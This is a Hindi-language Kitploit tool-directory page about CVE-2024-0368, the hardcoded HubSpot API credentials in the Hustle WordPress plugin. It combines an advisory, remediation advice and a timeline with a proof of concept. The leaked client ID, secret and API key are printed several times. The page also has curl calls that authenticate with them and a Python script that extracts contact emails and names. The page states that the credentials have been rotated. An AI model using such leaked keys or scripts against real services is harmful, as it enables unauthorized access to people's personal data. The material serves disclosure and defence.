Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-0368 — हस्टल प्लगइन <= 7.8.3 में inc/providers/hubspot/hustle-hubspot-api.php में हार्डकोडेड HubSpot API क्रेडेंशियल्स शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/randomrobbiebf/cve-2024-0368
भेद्यता विश्लेषणशोषणजानकारी एकत्र करनावेब सुरक्षासीक्रेट डिटेक्शनलर्निंग और शिक्षा
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

हस्टल प्लगइन <= 7.8.3 में inc/providers/hubspot/hustle-hubspot-api.php में हार्डकोडेड HubSpot API क्रेडेंशियल्स शामिल हैं।

रिपॉजिटरी देखें
17 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-0368

हस्टल प्लगइन <= 7.8.3 में inc/providers/hubspot/hustle-hubspot-api.php में हार्डकोडेड HubSpot API क्रेडेंशियल शामिल हैं

भेद्यता सारांश

फ़ील्डमान
CVE IDCVE-2024-0368
शीर्षकहस्टल <= 7.8.3 - उजागर HubSpot API कुंजियों के माध्यम से संवेदनशील जानकारी का एक्सपोज़र
CVSS स्कोर8.6 (उच्च)
प्रभावित प्लगइनहस्टल - ईमेल मार्केटिंग, लीड जनरेशन, ऑप्टिन, पॉपअप (wordpress-popup)
कमजोर संस्करण<= 7.8.3
पैच किया गया संस्करण7.8.4
भेद्यता प्रकारCWE-200: संवेदनशील जानकारी का एक्सपोज़र

तकनीकी विश्लेषण

कमजोर कोड स्थान

फ़ाइल: inc/providers/hubspot/hustle-hubspot-api.php

root@kitploit:~
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

उजागर क्रेडेंशियल

OAuth स्कोप्स (संभावित पहुंच)

हार्डकोडेड OAuth कॉन्फ़िगरेशन ने निम्नलिखित HubSpot स्कोप्स का अनुरोध किया:

  • oauth - OAuth प्रमाणीकरण
  • crm.objects.contacts.write - संपर्क बनाएं/संशोधित करें
  • crm.objects.contacts.read - संपर्क जानकारी पढ़ें (PII)
  • crm.lists.read - मार्केटिंग सूचियाँ पढ़ें
  • crm.lists.write - मार्केटिंग सूचियाँ संशोधित करें
  • crm.schemas.contacts.write - संपर्क स्कीमा संशोधित करें
  • crm.schemas.contacts.read - संपर्क स्कीमा पढ़ें

भेद्यता व्याख्या

मूल कारण

WPMUDEV ने अपने स्वयं के HubSpot OAuth एप्लिकेशन क्रेडेंशियल को सीधे प्लगइन स्रोत कोड में हार्डकोड किया। यह सुरक्षित विकास प्रथाओं का उल्लंघन है क्योंकि:

  1. सार्वजनिक एक्सपोज़र: वर्डप्रेस प्लगइन ओपन सोर्स हैं - कोड wordpress.org SVN रिपॉजिटरी पर सार्वजनिक रूप से उपलब्ध है
  2. सामूहिक वितरण: हस्टल प्लगइन के 100,000+ सक्रिय इंस्टॉलेशन हैं
  3. साझा क्रेडेंशियल: सभी प्लगइन इंस्टॉलेशन समान API क्रेडेंशियल साझा करते हैं

हमला वेक्टर

एक हमलावर यह कर सकता है:

  1. wordpress.org से कमजोर प्लगइन डाउनलोड करें
  2. PHP स्रोत से हार्डकोडेड क्रेडेंशियल निकालें
  3. HubSpot के API में प्रमाणीकरण के लिए इन क्रेडेंशियल का उपयोग करें
  4. WPMUDEV के HubSpot खाते और उनके एकीकरण के माध्यम से संसाधित किसी भी डेटा तक पहुंचें

संभावित प्रभाव

मान्य क्रेडेंशियल के साथ, एक हमलावर संभावित रूप से यह कर सकता है:

  • PII पढ़ें: संपर्क जानकारी तक पहुंच (नाम, ईमेल, फोन नंबर, पते)
  • डेटा संशोधित करें: HubSpot में संपर्क बनाएं, अपडेट करें या हटाएं
  • मार्केटिंग सूची पहुंच: मार्केटिंग सूचियाँ देखें और उनमें हेरफेर करें
  • डेटा निष्कर्षण: हस्टल + HubSpot एकीकरण का उपयोग करने वाली साइटों से सब्सक्राइबर डेटा निकालें

प्रूफ ऑफ कॉन्सेप्ट

चरण 1: कमजोर फ़ाइल का पता लगाएं

root@kitploit:~
# वर्डप्रेस इंस्टॉलेशन से
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

आउटपुट:

root@kitploit:~
const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

चरण 2: API कुंजी पहुंच का परीक्षण करें (संपर्क)

root@kitploit:~
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

नोट: परीक्षण के अनुसार, API कुंजी को घुमाया/समाप्त कर दिया गया है (प्रकटीकरण के बाद अपेक्षित):

root@kitploit:~
{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

चरण 3: OAuth प्रवाह का परीक्षण करें

root@kitploit:~
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

प्रतिक्रिया: क्रेडेंशियल अमान्य कर दिए गए हैं।

शोषण स्क्रिप्ट (Python)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

सत्यापन परिणाम

पर्यावरण:

  • वर्डप्रेस: Docker पर चल रहा है
  • प्लगइन संस्करण: 7.8.2 (कमजोर)
  • कमजोर फ़ाइल: हार्डकोडेड क्रेडेंशियल के साथ उपस्थिति की पुष्टि

क्रेडेंशियल स्थिति:

  • API कुंजी (HAPIKEY): समाप्त/घुमाया गया (प्रकटीकरण के बाद)
  • OAuth क्रेडेंशियल: अमान्य कर दिए गए (प्रकटीकरण के बाद)

निष्कर्ष: भेद्यता पुष्टि की गई है - हार्डकोडेड क्रेडेंशियल स्रोत कोड में मौजूद हैं और पहले शोषण योग्य थे। WPMUDEV ने जिम्मेदार प्रकटीकरण के बाद क्रेडेंशियल को घुमा दिया है।

उपचार

विक्रेता फिक्स (v7.8.4+)

पैच हार्डकोडेड क्रेडेंशियल को हटाता है और उचित क्रेडेंशियल स्टोरेज लागू करता है:

  • क्रेडेंशियल डेटाबेस/पर्यावरण कॉन्फ़िगरेशन में ले जाए गए
  • उपयोगकर्ताओं को अब अपने स्वयं के HubSpot API क्रेडेंशियल कॉन्फ़िगर करने होंगे
  • इंस्टॉलेशन के बीच कोई साझा क्रेडेंशियल नहीं

उपयोगकर्ता अनुशंसाएँ

  1. तुरंत अपडेट करें: हस्टल 7.8.4 या बाद के संस्करण में अपग्रेड करें
  2. HubSpot को पुन: कॉन्फ़िगर करें: अपने स्वयं के क्रेडेंशियल के साथ HubSpot एकीकरण सेट करें
  3. एक्सेस लॉग ऑडिट करें: कमजोर अवधि के दौरान अनधिकृत API पहुंच के लिए HubSpot जांचें

समयरेखा

दिनांकघटना
2024-01-05CVE-2024-0368 प्रकाशित
2024-03-08संस्करण 7.8.4 में पैच जारी
प्रकटीकरण के बादWPMUDEV द्वारा क्रेडेंशियल घुमाए गए

संदर्भ

  • Wordfence Advisory
  • WordPress Plugin Changeset
  • HubSpot API Documentation
  • NVD Entry

अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए उत्पन्न

टूल डाउनलोड करें
क्रेडेंशियलमानउद्देश्य
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bOAuth2 एप्लिकेशन पहचानकर्ता
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaOAuth2 क्लाइंट सीक्रेट
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aHubSpot लीगेसी API कुंजी